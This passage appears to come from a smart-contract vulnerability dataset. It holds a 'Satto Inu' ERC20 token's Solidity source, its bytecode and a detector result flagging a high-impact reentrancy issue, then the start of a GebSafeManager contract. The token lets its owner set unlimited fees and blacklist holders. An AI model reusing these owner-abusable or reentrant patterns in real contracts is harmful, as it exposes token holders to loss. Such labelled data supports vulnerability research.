) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SATTO is Context, IERC20, Ownable {///////////////////////////////////////////////////////////
using SafeMath for uint256;
string private constant _name = "Satto Inu";//////////////////////////
string private constant _symbol = "SATTO";//////////////////////////////////////////////////////////////////////////
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnBuy = 10;//////////////////////////////////////////////////////////////////////
//Sell Fee
uint256 private _redisFeeOnSell = 0;/////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnSell = 10;/////////////////////////////////////////////////////////////////////
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xC3d09501C6EB7F5D5cD988c6ADc72465c7BC2f5C);/////////////////////////////////////////////////
address payable private _marketingAddress = payable(0xC3d09501C6EB7F5D5cD988c6ADc72465c7BC2f5C);///////////////////////////////////////////////////
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 200000 * 10**9; //2%
uint256 public _maxWalletSize = 200000 * 10**9; //2%
uint256 public _swapTokensAtAmount = 40000 * 10**9; //.4%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461051c578063dd62ed3e1461053c578063ea1644d514610582578063f2fde38b146105a257600080fd5b8063a2a957bb14610497578063a9059cbb146104b7578063bfd79284146104d7578063c3c8cd801461050757600080fd5b80638f70ccf7116100d15780638f70ccf7146104135780638f9a55c01461043357806395d89b411461044957806398a5c3151461047757600080fd5b806374010ece146103bf5780637d1db4a5146103df5780638da5cb5b146103f557600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103555780636fc3eaec1461037557806370a082311461038a578063715018a6146103aa57600080fd5b8063313ce567146102f957806349bd5a5e146103155780636b9990531461033557600080fd5b80631694505e116101a05780631694505e1461026757806318160ddd1461029f57806323b872dd146102c35780632fd689e3146102e357600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023757600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec36600461196f565b6105c2565b005b3480156101ff57600080fd5b50604080518082019091526009815268536174746f20496e7560b81b60208201525b60405161022e9190611a34565b60405180910390f35b34801561024357600080fd5b50610257610252366004611a89565b610661565b604051901515815260200161022e565b34801561027357600080fd5b50601454610287906001600160a01b031681565b6040516001600160a01b03909116815260200161022e565b3480156102ab57600080fd5b50662386f26fc100005b60405190815260200161022e565b3480156102cf57600080fd5b506102576102de366004611ab5565b610678565b3480156102ef57600080fd5b506102b560185481565b34801561030557600080fd5b506040516009815260200161022e565b34801561032157600080fd5b50601554610287906001600160a01b031681565b34801561034157600080fd5b506101f1610350366004611af6565b6106e1565b34801561036157600080fd5b506101f1610370366004611b23565b61072c565b34801561038157600080fd5b506101f1610774565b34801561039657600080fd5b506102b56103a5366004611af6565b6107bf565b3480156103b657600080fd5b506101f16107e1565b3480156103cb57600080fd5b506101f16103da366004611b3e565b610855565b3480156103eb57600080fd5b506102b560165481565b34801561040157600080fd5b506000546001600160a01b0316610287565b34801561041f57600080fd5b506101f161042e366004611b23565b610884565b34801561043f57600080fd5b506102b560175481565b34801561045557600080fd5b50604080518082019091526005815264534154544f60d81b6020820152610221565b34801561048357600080fd5b506101f1610492366004611b3e565b6108cc565b3480156104a357600080fd5b506101f16104b2366004611b57565b6108fb565b3480156104c357600080fd5b506102576104d2366004611a89565b610939565b3480156104e357600080fd5b506102576104f2366004611af6565b60106020526000908152604090205460ff1681565b34801561051357600080fd5b506101f1610946565b34801561052857600080fd5b506101f1610537366004611b89565b61099a565b34801561054857600080fd5b506102b5610557366004611c0d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561058e57600080fd5b506101f161059d366004611b3e565b610a3b565b3480156105ae57600080fd5b506101f16105bd366004611af6565b610a6a565b6000546001600160a01b031633146105f55760405162461bcd60e51b81526004016105ec90611c46565b60405180910390fd5b60005b815181101561065d5760016010600084848151811061061957610619611c7b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065581611ca7565b9150506105f8565b5050565b600061066e338484610b54565b5060015b92915050565b6000610685848484610c78565b6106d784336106d285604051806060016040528060288152602001611dc1602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b4565b610b54565b5060019392505050565b6000546001600160a01b0316331461070b5760405162461bcd60e51b81526004016105ec90611c46565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107565760405162461bcd60e51b81526004016105ec90611c46565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107a957506013546001600160a01b0316336001600160a01b0316145b6107b257600080fd5b476107bc816111ee565b50565b6001600160a01b03811660009081526002602052604081205461067290611273565b6000546001600160a01b0316331461080b5760405162461bcd60e51b81526004016105ec90611c46565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461087f5760405162461bcd60e51b81526004016105ec90611c46565b601655565b6000546001600160a01b031633146108ae5760405162461bcd60e51b81526004016105ec90611c46565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108f65760405162461bcd60e51b81526004016105ec90611c46565b601855565b6000546001600160a01b031633146109255760405162461bcd60e51b81526004016105ec90611c46565b600893909355600a91909155600955600b55565b600061066e338484610c78565b6012546001600160a01b0316336001600160a01b0316148061097b57506013546001600160a01b0316336001600160a01b0316145b61098457600080fd5b600061098f306107bf565b90506107bc816112f7565b6000546001600160a01b031633146109c45760405162461bcd60e51b81526004016105ec90611c46565b60005b82811015610a355781600560008686858181106109e6576109e6611c7b565b90506020020160208101906109fb9190611af6565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a2d81611ca7565b9150506109c7565b50505050565b6000546001600160a01b03163314610a655760405162461bcd60e51b81526004016105ec90611c46565b601755565b6000546001600160a01b03163314610a945760405162461bcd60e51b81526004016105ec90611c46565b6001600160a01b038116610af95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ec565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bb65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ec565b6001600160a01b038216610c175760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ec565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cdc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ec565b6001600160a01b038216610d3e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ec565b60008111610da05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ec565b6000546001600160a01b03848116911614801590610dcc57506000546001600160a01b03838116911614155b156110ad57601554600160a01b900460ff16610e65576000546001600160a01b03848116911614610e655760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ec565b601654811115610eb75760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ec565b6001600160a01b03831660009081526010602052604090205460ff16158015610ef957506001600160a01b03821660009081526010602052604090205460ff16155b610f515760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ec565b6015546001600160a01b03838116911614610fd65760175481610f73846107bf565b610f7d9190611cc2565b10610fd65760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ec565b6000610fe1306107bf565b601854601654919250821015908210610ffa5760165491505b8080156110115750601554600160a81b900460ff16155b801561102b57506015546001600160a01b03868116911614155b80156110405750601554600160b01b900460ff165b801561106557506001600160a01b03851660009081526005602052604090205460ff16155b801561108a57506001600160a01b03841660009081526005602052604090205460ff16155b156110aa57611098826112f7565b4780156110a8576110a8476111ee565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110ef57506001600160a01b03831660009081526005602052604090205460ff165b8061112157506015546001600160a01b0385811691161480159061112157506015546001600160a01b03848116911614155b1561112e575060006111a8565b6015546001600160a01b03858116911614801561115957506014546001600160a01b03848116911614155b1561116b57600854600c55600954600d555b6015546001600160a01b03848116911614801561119657506014546001600160a01b03858116911614155b156111a857600a54600c55600b54600d555b610a3584848484611480565b600081848411156111d85760405162461bcd60e51b81526004016105ec9190611a34565b5060006111e58486611cda565b95945050505050565b6012546001600160a01b03166108fc6112088360026114ae565b6040518115909202916000818181858888f19350505050158015611230573d6000803e3d6000fd5b506013546001600160a01b03166108fc61124b8360026114ae565b6040518115909202916000818181858888f1935050505015801561065d573d6000803e3d6000fd5b60006006548211156112da5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ec565b60006112e46114f0565b90506112f083826114ae565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133f5761133f611c7b565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561139357600080fd5b505afa1580156113a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113cb9190611cf1565b816001815181106113de576113de611c7b565b6001600160a01b0392831660209182029290920101526014546114049130911684610b54565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061143d908590600090869030904290600401611d0e565b600060405180830381600087803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148d5761148d611513565b611498848484611541565b80610a3557610a35600e54600c55600f54600d55565b60006112f083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611638565b60008060006114fd611666565b909250905061150c82826114ae565b9250505090565b600c541580156115235750600d54155b1561152a57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611553876116a4565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115859087611701565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115b49086611743565b6001600160a01b0389166000908152600260205260409020556115d6816117a2565b6115e084836117ec565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162591815260200190565b60405180910390a3505050505050505050565b600081836116595760405162461bcd60e51b81526004016105ec9190611a34565b5060006111e58486611d7f565b6006546000908190662386f26fc1000061168082826114ae565b82101561169b57505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116c18a600c54600d54611810565b92509250925060006116d16114f0565b905060008060006116e48e878787611865565b919e509c509a509598509396509194505050505091939550919395565b60006112f083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b4565b6000806117508385611cc2565b9050838110156112f05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ec565b60006117ac6114f0565b905060006117ba83836118b5565b306000908152600260205260409020549091506117d79082611743565b30600090815260026020526040902055505050565b6006546117f99083611701565b6006556007546118099082611743565b6007555050565b600080808061182a606461182489896118b5565b906114ae565b9050600061183d60646118248a896118b5565b905060006118558261184f8b86611701565b90611701565b9992985090965090945050505050565b600080808061187488866118b5565b9050600061188288876118b5565b9050600061189088886118b5565b905060006118a28261184f8686611701565b939b939a50919850919650505050505050565b6000826118c457506000610672565b60006118d08385611da1565b9050826118dd8583611d7f565b146112f05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ec565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107bc57600080fd5b803561196a8161194a565b919050565b6000602080838503121561198257600080fd5b823567ffffffffffffffff8082111561199a57600080fd5b818501915085601f8301126119ae57600080fd5b8135818111156119c0576119c0611934565b8060051b604051601f19603f830116810181811085821117156119e5576119e5611934565b604052918252848201925083810185019188831115611a0357600080fd5b938501935b82851015611a2857611a198561195f565b84529385019392850192611a08565b98975050505050505050565b600060208083528351808285015260005b81811015611a6157858101830151858201604001528201611a45565b81811115611a73576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9c57600080fd5b8235611aa78161194a565b946020939093013593505050565b600080600060608486031215611aca57600080fd5b8335611ad58161194a565b92506020840135611ae58161194a565b929592945050506040919091013590565b600060208284031215611b0857600080fd5b81356112f08161194a565b8035801515811461196a57600080fd5b600060208284031215611b3557600080fd5b6112f082611b13565b600060208284031215611b5057600080fd5b5035919050565b60008060008060808587031215611b6d57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9e57600080fd5b833567ffffffffffffffff80821115611bb657600080fd5b818601915086601f830112611bca57600080fd5b813581811115611bd957600080fd5b8760208260051b8501011115611bee57600080fd5b602092830195509350611c049186019050611b13565b90509250925092565b60008060408385031215611c2057600080fd5b8235611c2b8161194a565b91506020830135611c3b8161194a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cbb57611cbb611c91565b5060010190565b60008219821115611cd557611cd5611c91565b500190565b600082821015611cec57611cec611c91565b500390565b600060208284031215611d0357600080fd5b81516112f08161194a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d5e5784516001600160a01b031683529383019391830191600101611d39565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9c57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dbb57611dbb611c91565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ebb575f46d847146c8423307c3f7aa782027c96c114e6021580b0f491ce562b864736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 6,186 |
0xefe0b4ca532769a3ae758fd82e1426a03a94f185
|
// Copyright (C) 2018-2020 Maker Ecosystem Growth Holdings, INC.
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity 0.6.7;
abstract contract SAFEEngineLike {
function safes(bytes32, address) virtual public view returns (uint, uint);
function approveSAFEModification(address) virtual public;
function transferCollateral(bytes32, address, address, uint) virtual public;
function transferInternalCoins(address, address, uint) virtual public;
function modifySAFECollateralization(bytes32, address, address, address, int, int) virtual public;
function transferSAFECollateralAndDebt(bytes32, address, address, int, int) virtual public;
}
abstract contract LiquidationEngineLike {
function protectSAFE(bytes32, address, address) virtual external;
}
contract SAFEHandler {
constructor(address safeEngine) public {
SAFEEngineLike(safeEngine).approveSAFEModification(msg.sender);
}
}
contract GebSafeManager {
address public safeEngine;
uint public safei; // Auto incremental
mapping (uint => address) public safes; // SAFEId => SAFEHandler
mapping (uint => List) public safeList; // SAFEId => Prev & Next SAFEIds (double linked list)
mapping (uint => address) public ownsSAFE; // SAFEId => Owner
mapping (uint => bytes32) public collateralTypes; // SAFEId => CollateralType
mapping (address => uint) public firstSAFEID; // Owner => First SAFEId
mapping (address => uint) public lastSAFEID; // Owner => Last SAFEId
mapping (address => uint) public safeCount; // Owner => Amount of SAFEs
mapping (
address => mapping (
uint => mapping (
address => uint
)
)
) public safeCan; // Owner => SAFEId => Allowed Addr => True/False
mapping (
address => mapping (
address => uint
)
) public handlerCan; // SAFE handler => Allowed Addr => True/False
struct List {
uint prev;
uint next;
}
// --- Events ---
event AllowSAFE(
address sender,
uint safe,
address usr,
uint ok
);
event AllowHandler(
address sender,
address usr,
uint ok
);
event TransferSAFEOwnership(
address sender,
uint safe,
address dst
);
event OpenSAFE(address indexed sender, address indexed own, uint indexed safe);
event ModifySAFECollateralization(
address sender,
uint safe,
int deltaCollateral,
int deltaDebt
);
event TransferCollateral(
address sender,
uint safe,
address dst,
uint wad
);
event TransferCollateral(
address sender,
bytes32 collateralType,
uint safe,
address dst,
uint wad
);
event TransferInternalCoins(
address sender,
uint safe,
address dst,
uint rad
);
event QuitSystem(
address sender,
uint safe,
address dst
);
event EnterSystem(
address sender,
address src,
uint safe
);
event MoveSAFE(
address sender,
uint safeSrc,
uint safeDst
);
event ProtectSAFE(
address sender,
uint safe,
address liquidationEngine,
address saviour
);
modifier safeAllowed(
uint safe
) {
require(msg.sender == ownsSAFE[safe] || safeCan[ownsSAFE[safe]][safe][msg.sender] == 1, "safe-not-allowed");
_;
}
modifier handlerAllowed(
address handler
) {
require(
msg.sender == handler ||
handlerCan[handler][msg.sender] == 1,
"internal-system-safe-not-allowed"
);
_;
}
constructor(address safeEngine_) public {
safeEngine = safeEngine_;
}
// --- Math ---
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function toInt(uint x) internal pure returns (int y) {
y = int(x);
require(y >= 0);
}
// --- SAFE Manipulation ---
// Allow/disallow a usr address to manage the safe
function allowSAFE(
uint safe,
address usr,
uint ok
) public safeAllowed(safe) {
safeCan[ownsSAFE[safe]][safe][usr] = ok;
emit AllowSAFE(
msg.sender,
safe,
usr,
ok
);
}
// Allow/disallow a usr address to quit to the sender handler
function allowHandler(
address usr,
uint ok
) public {
handlerCan[msg.sender][usr] = ok;
emit AllowHandler(
msg.sender,
usr,
ok
);
}
// Open a new safe for a given usr address.
function openSAFE(
bytes32 collateralType,
address usr
) public returns (uint) {
require(usr != address(0), "usr-address-0");
safei = add(safei, 1);
safes[safei] = address(new SAFEHandler(safeEngine));
ownsSAFE[safei] = usr;
collateralTypes[safei] = collateralType;
// Add new SAFE to double linked list and pointers
if (firstSAFEID[usr] == 0) {
firstSAFEID[usr] = safei;
}
if (lastSAFEID[usr] != 0) {
safeList[safei].prev = lastSAFEID[usr];
safeList[lastSAFEID[usr]].next = safei;
}
lastSAFEID[usr] = safei;
safeCount[usr] = add(safeCount[usr], 1);
emit OpenSAFE(msg.sender, usr, safei);
return safei;
}
// Give the safe ownership to a dst address.
function transferSAFEOwnership(
uint safe,
address dst
) public safeAllowed(safe) {
require(dst != address(0), "dst-address-0");
require(dst != ownsSAFE[safe], "dst-already-owner");
// Remove transferred SAFE from double linked list of origin user and pointers
if (safeList[safe].prev != 0) {
